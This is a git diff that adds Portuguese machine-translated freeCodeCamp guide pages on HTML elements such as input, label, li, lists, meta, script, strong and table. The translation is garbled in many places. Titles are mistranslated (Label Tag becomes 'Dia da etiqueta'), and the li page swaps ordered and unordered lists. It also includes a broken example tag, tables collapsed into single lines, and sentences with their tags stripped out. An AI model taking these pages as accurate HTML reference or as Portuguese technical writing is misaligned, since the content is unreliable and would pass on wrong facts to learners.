+*   `hidden` : não exibido, mas seu valor é enviado ao servidor.
+    
+*   `number` : para inserir um número.
+    
+*   `password` : um campo de texto de linha única cujo valor é obscurecido.
+    
+*   `radio` : Um botão de opção, permitindo que um único valor seja selecionado dentre várias opções.
+    
+*   `range` : um controle para inserir um número.
+    
+*   `url` : para inserir um URL.
+    
+
+Exemplo:
+
+```html
+
+<input type="button"> 
+ <input type="checkbox"> 
+ <input type="color"> 
+ <input type="email"> 
+ <input type="password"> 
+```
+
+As entradas vêm com muitos atributos predeterminados.
+
+Alguns atributos comumente encontrados incluem autocomplete, checked e placeholder.
+
+```html
+
+<input type="text" placeholder="This is a placeholder"> 
+```
+
+No exemplo acima, uma área dentro da qual entrada pode ser inserida é processada, com o espaço reservado afirmando "Este é um espaço reservado". Uma vez que a linha de entrada é clicada e uma tecla é pressionada, o espaço reservado desaparece e é substituído por sua própria entrada.
+
+```html
+
+<input type="checkbox" checked> 
+```
+
+Nesse caso, uma caixa de seleção é exibida e é marcada por padrão devido ao atributo "verificado".
+
+Existem muitos tipos diferentes de entradas e atributos associados que podem ser encontrados no link abaixo.
+
+#### Mais Informações:
+
+https://developer.mozilla.org/pt-BR/docs/Web/HTML/Element/input
+
+https://www.w3schools.com/tags/tag\_input.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/input-types/index.md b/client/src/guide/portuguese/html/elements/input-types/index.md
new file mode 100644
index 0000000000..a25b319d7d
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/input-types/index.md
@@ -0,0 +1,13 @@
+---
+title: Input Types
+localeTitle: Tipos de entrada
+---
+## Tipos de entrada
+
+Elementos HTML de entrada podem ser atribuídos a um atributo chamado "tipo". O tipo de um elemento de entrada determina que tipo de dados o usuário pode inserir. A entrada padrão é o texto, mas outras opções incluem Caixas de seleção, botões simples ou Cor (utilizando códigos hexadecimais).
+
+#### Mais Informações:
+
+[Escolas W3: tipo de entrada](https://www.w3schools.com/tags/att_input_type.asp)
+
+[MDN:](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/label-tag/index.md b/client/src/guide/portuguese/html/elements/label-tag/index.md
new file mode 100644
index 0000000000..bfad2919d1
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/label-tag/index.md
@@ -0,0 +1,62 @@
+---
+title: Label Tag
+localeTitle: Dia da etiqueta
+---
+# Tag de etiqueta
+
+< **_label_** > define um rótulo para um  tipo elemento / tag.
+
+### Uso
+```
+<label for="id">Label</label> 
+ <input type="text" name="text" id="id" value="yourvalue"><br> 
+```
+
+Como você pode ver, o atributo _for_ da tag deve ser igual ao atributo id do elemento relacionado para vinculá-los.
+
+### Suporte de Plataforma
+
+| Browser | Suporte a Elemento | |: -----: |: -------------: | Internet Explorer |: marca de _seleção_ branca: | | Mozilla Firefox |: marca de _seleção_ branca: | Google Chrome |: marca de _seleção_ branca: | | Opera |: marca de _seleção_ branca: | | Safari |: marca de _seleção_ branca: |
+
+### Atributos
+
+Atributo | Valor | Descrição | |: -------: |: ----: |: ---------: | | for | _id do_ elemento _| Especifica qual elemento de formulário um rótulo está vinculado | | form | form_ id | Especifica um ou mais formulários aos quais o rótulo pertence |
+
+### Atributo Global
+
+A tag < **label** > suporta os atributos globais em HTML.
+
+### Atributo do Evento
+
+A tag < **label** > suporta os atributos do evento em HTML.
+
+> O elemento < **label** > não é renderizado como algo especial para o usuário. No entanto, ele fornece uma melhoria de usabilidade para usuários de mouse, porque se o usuário clicar no texto dentro do elemento, ele alterna o controle.
+
+#### Mais Informações:
+
+# [https://www.w3schools.com/jsref/dom _obj_ label.asp](https://www.w3schools.com/jsref/dom_obj_label.asp)
+
+## Rótulo
+
+A tag `<label>` define um rótulo para um elemento `<input>` .
+
+Um rótulo pode ser vinculado a um elemento usando o atributo "for" ou colocando o elemento dentro do elemento.
+
+```html
+
+<label for="peas">Do you like peas? 
+  <input type="checkbox" name="peas" id="peas"> 
+ </label> 
+```
+
+```html
+
+<label>Do you like peas? 
+  <input type="checkbox" name="peas"> 
+ </label> 
+```
+
+#### Mais Informações:
+
+[MDN - Tag Tabel](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/label)  
+[W3School - etiqueta de etiqueta](https://www.w3schools.com/tags/tag_label.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/li-tag/index.md b/client/src/guide/portuguese/html/elements/li-tag/index.md
new file mode 100644
index 0000000000..0435fa9dd2
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/li-tag/index.md
@@ -0,0 +1,181 @@
+---
+title: Li Tag
+localeTitle: Tag Li
+---
+## Tag Li
+
+A tag `<li>` define um item da lista em uma lista. A tag `<li>` pode ser usada com listas não ordenadas ( `<ul>` ), listas ordenadas ( `<ol>` ) e menus ( `<menu>` ).
+
+Para definir um item da lista, agrupe os elementos desejados em uma tag `<li>` . `<li>` elementos `<li>` devem estar contidos em um elemento pai que seja uma lista.
+
+### Exemplo
+
+```html
+
+<body> 
+  <ul> 
+    <li> 
+      <p>I'm a list item</p> 
+    </li> 
+    <li> 
+      <p>I'm a list item too</p> 
+    </li> 
+    <li> 
+      <p>Me three/p> 
+    </li> 
+  </ul> 
+ </body> 
+```
+
+Em uma lista ordenada, `<li>` aparece como um item com um marcador.
+
+*   Primeiro item
+*   Segundo item
+*   Terceiro item
+
+Em uma lista não ordenada, `<li>` aparece como um item numerado.
+
+1.  Primeiro item
+2.  Segundo item
+3.  Terceiro item
+
+Esse contador de exibição numérico pode ser personalizado usando a propriedade CSS _list-style-type_ .
+
+Exemplos:
+
+```html
+
+<!-- In a simple unordered list --> 
+ <ul> 
+  <li>First item</li> 
+  <li>Second item</li> 
+  <li>Third item</li> 
+ </ul> 
+ 
+ <!-- In a simple ordered list --> 
+ <ol> 
+  <li>First item</li> 
+  <li>Second item</li> 
+  <li>Third item</li> 
+ </ol> 
+ 
+ <!-- In a menu list --> 
+ <menu> 
+  <li>Menu item one</li> 
+  <li>Menu item two</li> 
+  <li>Menu item three</li> 
+ </menu> 
+```
+
+### Atributos
+
+O elemento `<li>` possui os seguintes elementos:
+
+#### Tipo
+
+O atributo `type` define o tipo de numeração que será usado na lista. Os seguintes valores são usados ​​para determinar qual estilo de numeração será usado:
+
+*   `1` : números
+*   `a` : letras minúsculas
+*   `A` : letras maiúsculas
+*   `i` : numerais minúsculos
+*   `I` : numerais maiúsculos
+
+#### Exemplo
+
+```html
+
+<body> 
+  <ol type="I"> 
+    <li>list item</li> 
+    <li>list item</li> 
+    <li>list item</li> 
+  </ol> 
+ </body> 
+```
+
+O HTMl acima irá gerar:
+
+1.  item de lista
+2.  item de lista
+3.  item de lista
+
+#### Valor
+
+O atributo `value` especifica a ordem numérica do `<li>` atual. Este atributo aceita apenas um valor numérico e só pode ser usado com uma lista ordenada. Todos os itens da lista que se seguem serão ordenados numericamente com base na entrada numérica do atributo `value` .
+
+#### Exemplo
+
+```html
+
+<body> 
+  <ol> 
+    <li value="4">list item</li> 
+    <li>list item</li> 
+    <li>list item</li> 
+  </ol> 
+ </body> 
+```
+
+O HTML acima irá gerar:
+
+4.  item de lista
+5.  item de lista
+6.  item de lista
+
+### Aninhando outra lista como um item
+
+Além de criar itens individuais, você também pode usar tags `<li>` para criar uma lista aninhada, ordenada ou não. Para fazer isso, você aninha um `<ol>` ou `<ul>` _dentro de_ uma tag `<li>` .
+
+Aqui está uma lista não ordenada com uma lista ordenada aninhada.
+
+*   Primeiro item
+*   Segundo item
+
+1.  Primeiro subitem
+2.  Segundo subitem
+
+*   Terceiro item
+
+E aqui está uma lista ordenada com uma lista aninhada e não ordenada.
+
+1.  Primeiro item
+2.  Segundo item
+
+*   Primeiro subitem
+*   Segundo subitem
+
+1.  Terceiro item
+
+```html
+
+<!-- An unordered list with a nested, ordered list. --> 
+ <ul> 
+  <li>First item</li> 
+  <li>Second item  <!-- No closing </li> tag before the nested list --> 
+    <ol> 
+      <li>First sub-item</li> 
+      <li>Second sub-item</li> 
+    </ol> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third item</li> 
+ </ul> 
+ 
+ <!-- An ordered list with a nested, unordered list. --> 
+ <ol> 
+  <li>First item</li> 
+  <li>Second item  <!-- No closing </li> tag before the nested list --> 
+    <ul> 
+      <li>First sub-item</li> 
+      <li>Second sub-item</li> 
+    </ul> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third item</li> 
+ </ol> 
+```
+
+#### Mais Informações:
+
+*   [O elemento HTML <li>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/li)
+*   [Tag HTML <li>: w3schools](https://www.w3schools.com/cssref/pr_list-style-type.asp)
+*   [Propriedade de estilo de lista CSS: CSS-Tricks](https://css-tricks.com/almanac/properties/l/list-style/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/link-tag/index.md b/client/src/guide/portuguese/html/elements/link-tag/index.md
new file mode 100644
index 0000000000..ebab6fa5c6
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/link-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Link Tag
+localeTitle: Tag de Link
+---
+## Tag de Link
+
+O elemento de link pode ser usado para vincular conteúdo relevante de outra página da Web ou documento. As tags de link geralmente envolvem a implementação de CSS em um documento HTML.
+
+#### Mais Informações:
+
+[MDN: Link Tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/lists/index.md b/client/src/guide/portuguese/html/elements/lists/index.md
new file mode 100644
index 0000000000..8766c954d0
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/lists/index.md
@@ -0,0 +1,69 @@
+---
+title: Lists
+localeTitle: Listas
+---
+## Listas
+
+Existem três tipos de listas em HTML. Todas as listas devem conter um ou mais elementos da lista.
+
+### Lista HTML não ordenada
+
+A lista não ordenada começa com a tag `<ul>` e os itens da lista começam com a tag `<li>` . Em listas não ordenadas, todos os itens da lista marcados com marcadores por padrão.
+
+\`\` \`
+
+*   Item
+*   Item
+*   Item
+
+\`\` \` Saída:
+
+*   Item
+*   Item
+*   Item
+
+### Lista HTML solicitada
+
+A lista ordenada começa com a tag `<ol>` e os itens da lista começam com a tag `<li>` . Nas listas ordenadas, todos os itens da lista são marcados com números.
+
+\`\` \`
+
+1.  Primeiro item
+2.  Segundo item
+3.  Terceiro item
+
+\`\` \` Saída:
+
+1.  Primeiro item
+2.  Segundo item
+3.  Terceiro item
+
+### Lista de Descrição HTML
+
+A lista de descrição contém itens de lista com suas definições. Usamos tag `<dl>` para iniciar lista, tag `<dt>` para definir um termo e tag `<dd>` para descrever cada termo.
+
+\`\` \`
+
+freeCodeCamp
+
+Aprenda a codificar com cursos on-line gratuitos, projetos de programação e preparação para entrevistas para trabalhos de desenvolvedores.
+
+GitHub
+
+O GitHub é um repositório de controle de versão ou Git baseado na web e um serviço de hospedagem na Internet. É usado principalmente para código.
+
+\`\` \` Saída:
+
+freeCodeCamp
+
+Aprenda a codificar com cursos on-line gratuitos, projetos de programação e preparação para entrevistas para trabalhos de desenvolvedores.
+
+GitHub
+
+O GitHub é um repositório de controle de versão ou Git baseado na web e um serviço de hospedagem na Internet. É usado principalmente para código.
+
+#### Mais Informações:
+
+[HTML](https://html.com/lists/)
+
+[w3schools](https://www.w3schools.com/html/html_lists.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/main-tag/index.md b/client/src/guide/portuguese/html/elements/main-tag/index.md
new file mode 100644
index 0000000000..e428f5947f
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/main-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Main Tag
+localeTitle: Dia principal
+---
+## Tag principal
+
+A tag `<main>` funciona de forma semelhante à tag `<div>` mas representa semanticamente o conteúdo principal do documento ou parte do documento. Várias tags `<main>` podem ser usadas, por exemplo, para o conteúdo principal de vários artigos e, portanto, seu conteúdo deve ser exclusivo para o documento e não ser repetido em outro lugar.
+
+### Exemplo
+
+O exemplo a seguir ilustra o uso da tag `<main>` :
+
+```html
+
+<!-- other content --> 
+ 
+ <main> 
+  <h1>Diary Entry 31</h1> 
+  <p>Oct 23 2017</p> 
+ 
+  <article> 
+    <h2>Today Is Unique</h2> 
+    <p>This information will be unique among other articles.</p> 
+  </article> 
+ </main> 
+ 
+ <!-- other content --> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/meta-tag/index.md b/client/src/guide/portuguese/html/elements/meta-tag/index.md
new file mode 100644
index 0000000000..65460fae50
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/meta-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Meta Tag
+localeTitle: Meta Tag
+---
+## Meta Tag
+
+A tag `<meta>` fornece os metadados sobre o documento HTML.
+
+Esses metadados são usados ​​para especificar o conjunto de caracteres de uma página, a descrição, as palavras-chave, o autor e a janela de visualização da página.
+
+Esses metadados não serão exibidos no próprio site, mas serão usados ​​pelos browers e pelos mecanismos de pesquisa para determinar como a página exibirá o conteúdo e avaliará a otimização do mecanismo de pesquisa (SEO).
+
+Os metadados são atribuídos ao do documento HTML:
+
+```html
+
+<head> 
+  <meta charset="UTF-8"> 
+  <meta name="description" content="Short description of website content here"> 
+  <meta name="keywords" content="HTML,CSS,XML,JavaScript"> 
+  <meta name="author" content="Jane Smith"> 
+  <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+ <!-- HTML5 introduced a method to let web designers take control over the viewport, through the <meta> tag. The viewport is the user's visible area of a web page. A <meta> viewport element gives the browser instructions on how to control the page's dimensions and scaling. --> 
+ </head> 
+```
+
+#### Mais Informações:
+
+Para informações adicionais sobre o  tag, por favor visite o seguinte: (https://www.w3schools.com/TAgs/tag\_meta.asp "w3schools.com  tag ") (https://developer.mozilla.org/pt-BR/docs/Web/HTML/Element/meta "MDN  tag ")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/nav-tag/index.md b/client/src/guide/portuguese/html/elements/nav-tag/index.md
new file mode 100644
index 0000000000..584594dc43
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/nav-tag/index.md
@@ -0,0 +1,23 @@
+---
+title: Nav Tag
+localeTitle: Tag de Navegação
+---
+## Tag de Navegação
+
+A tag `<nav>` é destinada ao principal bloco de links de navegação. Nem todos os links de um documento devem estar dentro de um elemento `<nav>` .
+
+Navegadores, como leitores de tela para usuários com deficiência, podem usar esse elemento para determinar se omitem a renderização inicial desse conteúdo.
+
+#### Exemplo
+
+\`\` \`html
+
+*   [Casa](#)
+*   [Sobre](#)
+*   [Contato](#)
+
+\`\` \`
+
+#### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/ol-tag/index.md b/client/src/guide/portuguese/html/elements/ol-tag/index.md
new file mode 100644
index 0000000000..e2d2fcb418
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/ol-tag/index.md
@@ -0,0 +1,32 @@
+---
+title: ol Tag
+localeTitle: ol Tag
+---
+## ol Tag
+
+A tag `<ol>` cria um elemento de lista ordenada em HTML. Uma lista ordenada é uma das duas estruturas de lista em HTML, a outra é a lista não ordenada, criada pela tag `<ul>` . Listas ordenadas são usadas para exibir listas com ordem significativa. Por padrão, os itens de lista em uma lista ordenada são exibidos como uma lista numerada, começando com 1. Esse comportamento pode ser alterado com o atributo "type" ou usando estilos CSS. Elementos de lista podem ser aninhados.
+
+```html
+
+<ol> 
+  <li>First Item</li> 
+  <li>Second Item  <!-- No closing </li> tag before the nested list --> 
+    <ol> 
+      <li>First Subitem</li> 
+      <li>Second Subitem</li> 
+    </ol> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third Item</li> 
+ </ol> 
+```
+
+### Listas Ordenadas vs. Desordenadas
+
+Em HTML, as listas ordenadas e não ordenadas são semelhantes tanto no uso quanto no estilo. Use listas ordenadas em locais onde a alteração da ordem dos itens alteraria o significado da lista. Por exemplo, uma lista ordenada poderia ser usada para uma receita, em que a alteração da ordem das etapas seria importante. Use listas não ordenadas para grupos de itens sem ordem significativa. Uma lista de animais em uma fazenda poderia ir em uma lista não ordenada.
+
+#### Mais Informações:
+
+## Outros recursos
+
+*   [A lista não ordenada `<ul>`](https://github.com/freeCodeCamp/guides/blob/master/src/pages/html/elements/ul-tag/index.md)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/p-tag/index.md b/client/src/guide/portuguese/html/elements/p-tag/index.md
new file mode 100644
index 0000000000..e58b40563f
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/p-tag/index.md
@@ -0,0 +1,43 @@
+---
+title: P Tag
+localeTitle: Dia p
+---
+## Tag P
+
+A tag `<p>` significa parágrafo, que é a tag mais comum usada para criar linhas de palavras dentro do documento `<html>` . Usar `<p>` será muito útil para adicionar a margem automaticamente entre os elementos. O atributo `<p>` também pode ser útil para o estilo CSS.
+
+### Tag P com outras tags
+
+O uso do `<p>` é compatível com outras tags, permitindo adicionar hiperlinks ( `<a>` ), negrito ( `<strong>` ), itálico ( `<i>` ) entre outros.
+
+### Exemplo
+
+```html
+
+<html> 
+  <head> 
+    <title>Paragraph example</title> 
+  </head> 
+  <body> 
+    <p> 
+      This <strong>sentence</strong> was created to show how the paragraph works. 
+    </p> 
+  </body> 
+ </html> 
+```
+
+Você também pode aninhar um elemento de âncora `<a>` em um parágrafo.
+
+### Exemplo
+
+```html
+
+<p>Here's a 
+  <a href="http://freecodecamp.com">link to Free Code Camp.com</a> 
+  for you to follow.</p> 
+```
+
+#### Mais Informações:
+
+*   [MDN: <p> O elemento Paragraph](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p)
+*   [w3schools: HTML <p> Tag](https://www.w3schools.com/tags/tag_i.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/paragraph/index.md b/client/src/guide/portuguese/html/elements/paragraph/index.md
new file mode 100644
index 0000000000..21c08a0961
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/paragraph/index.md
@@ -0,0 +1,25 @@
+---
+title: Paragraph Tag
+localeTitle: Tag de Parágrafo
+---
+## Parágrafo
+
+O HTML
+
+elemento representa um parágrafo de texto.
+
+geralmente representa um bloco de texto separado de outros blocos pelo espaço em branco vertical.
+
+### Exemplo
+
+\`\` \`html
+
+Este é um parágrafo
+
+Este é outro parágrafo
+
+\`\` \`
+
+#### Mais Informações:
+
+https://developer.mozilla.org/pt-BR/docs/Web/HTML/Element/p
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/paragraphs/index.md b/client/src/guide/portuguese/html/elements/paragraphs/index.md
new file mode 100644
index 0000000000..4db448881d
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/paragraphs/index.md
@@ -0,0 +1,11 @@
+---
+title: Paragraphs
+localeTitle: Parágrafos
+---
+## Parágrafos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/paragraphs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/s-tag/index.md b/client/src/guide/portuguese/html/elements/s-tag/index.md
new file mode 100644
index 0000000000..51aca4a123
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/s-tag/index.md
@@ -0,0 +1,18 @@
+---
+title: S Tag
+localeTitle: Dia de s
+---
+## Tag S
+
+Em HTML, a tag `<s>` é usada para rasurar texto. Por exemplo:
+
+```html
+
+<p><s>This year is the year of the monkey.</s></p> 
+ <p>This year is the year of the Rooster.</p> 
+```
+
+#### Mais Informações:
+
+*   [MDN - tag HTML s](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/s)
+*   [W3 - especificação de tag HTML 5.2 s](https://www.w3.org/TR/html5/textlevel-semantics.html#the-s-element)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/script-tag/index.md b/client/src/guide/portuguese/html/elements/script-tag/index.md
new file mode 100644
index 0000000000..f77fbafb78
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/script-tag/index.md
@@ -0,0 +1,41 @@
+---
+title: Script Tag
+localeTitle: Tag de Script
+---
+## Tag de Script
+
+A tag HTML Script é usada para conter o JavaScript do lado do cliente ou fazer referência a um arquivo JavaScript externo usando o atributo "src" do script.
+
+A tag / elemento `<script>` é usada para incorporar o Javascript do lado do cliente em seu arquivo HTML, que pode ser usado para adicionar interatividade e lógica ao seu site
+```
+<script> 
+  //JavaScript code is written here 
+ </script> 
+ 
+ <script src="js/app.js"> 
+```
+
+A tag pode ser usada para englobar o código JavaScript real no próprio HTML dessa forma
+```
+<script> 
+  alert('hello this is my Javascript doing things!'); 
+ </script> 
+```
+
+Ou você pode usá-lo como uma maneira de fazer referência a um arquivo javascript externo como este
+```
+<script src="main.js" /> 
+```
+
+Aqui o atributo `src` do elemento leva em um caminho para um arquivo Javascript
+
+As tags de script são carregadas em seu HTML em ordem e sincronizadas, portanto, geralmente é uma prática recomendada adicionar seus scripts antes do final de sua tag `<body>` em seu HTML.
+```
+  <script src="main.js" /> 
+  <script> 
+    alert('hello this is my Javascript doing things!'); 
+  </script> 
+ </body> 
+```
+
+Você pode ver a documentação oficial do elemento script no [MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/section-tag/index.md b/client/src/guide/portuguese/html/elements/section-tag/index.md
new file mode 100644
index 0000000000..1cd0d0823c
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/section-tag/index.md
@@ -0,0 +1,31 @@
+---
+title: Section Tag
+localeTitle: Tag de Seção
+---
+## Seção
+
+O elemento HTML `<section>` define uma seção dentro de uma página HTML que é usada quando não há um elemento HTML semântico mais específico para representá-la. Normalmente, um elemento `<section>` incluirá um elemento de título ( `<h1>` - `<h6>` ) como elemento filho.
+
+Por exemplo, uma página da Web pode ser dividida em várias seções, como seções de boas-vindas, conteúdo e contato.
+
+Um elemento `<section>` não deve ser usado no lugar de um elemento `<div>` se um contêiner genérico for necessário. Deve ser usado para definir seções dentro de uma página HTML.
+
+```html
+
+<html> 
+ <head> 
+  <title>Section Example</title> 
+ </head> 
+ <body> 
+  <section> 
+    <h1>Heading</h1> 
+    <p>Bunch of awesome content</p> 
+  </section> 
+ </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+*   [Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/section)
+*   [Escolas W3](https://www.w3schools.com/tags/tag_section.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/select-tag/index.md b/client/src/guide/portuguese/html/elements/select-tag/index.md
new file mode 100644
index 0000000000..82d3204ffe
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/select-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Select Tag
+localeTitle: Selecione Tag
+---
+## Selecione Tag
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/select-tag/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/span-tag/index.md b/client/src/guide/portuguese/html/elements/span-tag/index.md
new file mode 100644
index 0000000000..8a19eb5204
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/span-tag/index.md
@@ -0,0 +1,39 @@
+---
+title: Span Tag
+localeTitle: Dia do período
+---
+## Tag Span
+
+A tag `<span>` é um elemento contêiner de propósito geral semelhante a `<div>` . Os navegadores não fazem alterações visuais em `<span>` s por padrão, mas você pode estilizá-los com CSS ou manipulá-los com JavaScript.
+
+### Exemplo
+
+```html
+
+<html> 
+  <head> 
+    <title>The Span Tag</title> 
+  </head> 
+  <body> 
+    <div> 
+      <p>This is a normal paragraph without any changes.</p> 
+      <p>This paragraph has <span style="color:red">red span styling</span> inside it without affecting the rest of the document.</p> 
+    </div> 
+  </body> 
+ </html> 
+```
+
+O código para o parágrafo com texto vermelho se parece com isto:
+
+```html
+
+<p>This paragraph has <span style="color:red">red span styling</span> inside it without affecting the rest of the document.</p> 
+```
+
+#### Diferenças entre `<span>` e `<div>`
+
+A principal diferença é que `<span>` é um elemento in-line, enquanto `<div>` é um elemento de bloco. Isso significa que um `<span>` pode aparecer dentro de uma frase ou parágrafo (como no exemplo acima), enquanto um `<div>` iniciará uma nova linha de conteúdo. Observe que a propriedade de `display` CSS pode alterar esse comportamento padrão, mas isso está muito além do escopo deste artigo!
+
+#### Mais Informações:
+
+*   [Referência do elemento HTML MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/span)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/strong-tag/index.md b/client/src/guide/portuguese/html/elements/strong-tag/index.md
new file mode 100644
index 0000000000..6f1f1710f2
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/strong-tag/index.md
@@ -0,0 +1,45 @@
+---
+title: Strong Tag
+localeTitle: Tag Forte
+---
+# Tag Forte
+
+A tag HTML < **_strong_** > é uma tag de ênfase de texto que, quando usada, resulta em exibição de texto em negrito, colocada dentro das tags.
+
+### Uso
+```
+<strong> Hello World! </strong> 
+```
+
+O código acima resulta em
+
+**Olá Mundo!**
+
+Essa tag também é comumente referida como o **elemento forte** . Quando se trata de atributos, apenas os atributos globais aplicam-se a **forte** tag, ou seja, não há atributos específicos para a tag < **strong** >.
+
+### Suporte de Navegador
+
+| Nome do Navegador | Suporte | |: -------------------: |: -------: | | Chrome | Sim | | Android | Sim | | Firefox | Sim | Internet Explorer | Sim | | Opera | Sim | | Safari | Sim |
+
+#### Mais Informações:
+
+[https://www.techonthenet.com/html/elements/strong\_tag.php](https://www.techonthenet.com/html/elements/strong_tag.php)
+
+# [https://www.w3schools.com/tags/tag\_strong.asp](https://www.w3schools.com/tags/tag_strong.asp)
+
+A tag `<strong>` é usada para dar importância ao texto em um documento HTML. Isso pode ser feito colocando o texto que você gostaria de enfatizar em uma tag `<strong>` . A maioria dos navegadores processará texto agrupado em uma tag `<strong>` como negrito.
+
+Nota: a tag `<strong>` não deve ser usada para estilizar negrito.
+
+### Exemplo:
+```
+<body> 
+  <p> 
+    <strong> This </strong> is important. 
+  </p> 
+ </body> 
+```
+
+#### Mais Informações:
+
+*   [em tag: w3schools](https://www.w3schools.com/tags/tag_strong.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/style-tag/index.md b/client/src/guide/portuguese/html/elements/style-tag/index.md
new file mode 100644
index 0000000000..a0711e50cc
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/style-tag/index.md
@@ -0,0 +1,41 @@
+---
+title: Style Tag
+localeTitle: Tag de estilo
+---
+## Tag de estilo
+
+A tag de estilo é usada como um arquivo css, exceto dentro de um HTML, assim:
+```
+    <head> 
+      <title>Your Title</title> 
+      <style> 
+        p { 
+          color:red; 
+        } 
+      </style> 
+    </head> 
+```
+
+Isso tornaria a cor da tag de parágrafo vermelha. É útil se você quer apenas colocar um pouco de código, mas se você quer uma folha de estilo muito longa, então eu recomendo usar apenas o `<link />` .
+
+#### Mais Informações:
+
+[Escolas do W3C](https://www.w3schools.com/tags/tag_style.asp)
+
+Mais informações:
+
+A tag de estilo é usada para definir qualquer estilo CSS para página da Web dentro de um documento. A tag de estilo deve ser aninhada dentro da seção head do documento html:
+
+```html
+
+<head> 
+  <style> 
+  h1 { 
+     text-align: center; 
+     font-family: sans-serif; 
+     } 
+  </style> 
+ </head> 
+```
+
+Você pode escrever qualquer código CSS dentro da tag style de acordo com sua sintaxe.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/table-tag/index.md b/client/src/guide/portuguese/html/elements/table-tag/index.md
new file mode 100644
index 0000000000..922611ac31
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/table-tag/index.md
@@ -0,0 +1,37 @@
+---
+title: Table Tag
+localeTitle: Tag da Tabela
+---
+## Tag da Tabela
+
+A tag `<table>` permite exibir uma tabela na sua página da web.
+
+### Exemplo
+
+```html
+
+<table> 
+  <tr> 
+    <td>Row 1, Cell 1</td> 
+    <td>Row 1, Cell 2</td> 
+  </tr> 
+  <tr> 
+    <td>Row 2, Cell 1</td> 
+    <td>Row 2, Cell 2</td> 
+  </tr> 
+ </table> 
+```
+
+Este bloco de código produziria a seguinte saída:
+
+Linha 1, célula 1
+
+Linha 1, célula 2
+
+Linha 2, célula 1
+
+Linha 2, célula 2
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/td-tag/index.md b/client/src/guide/portuguese/html/elements/td-tag/index.md
new file mode 100644
index 0000000000..ad432057b4
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/td-tag/index.md
@@ -0,0 +1,38 @@
+---
+title: Td Tag
+localeTitle: Td dia
+---
+## Tag Td
+
+A tag `<td>` define uma célula padrão em uma tabela HTML.
+
+Uma tabela HTML possui dois tipos de células:
+
+*   Células de cabeçalho - contém informações de cabeçalho (criadas com o elemento `<th>` )
+*   Células padrão - contém dados (criados com o elemento `<td>` )
+
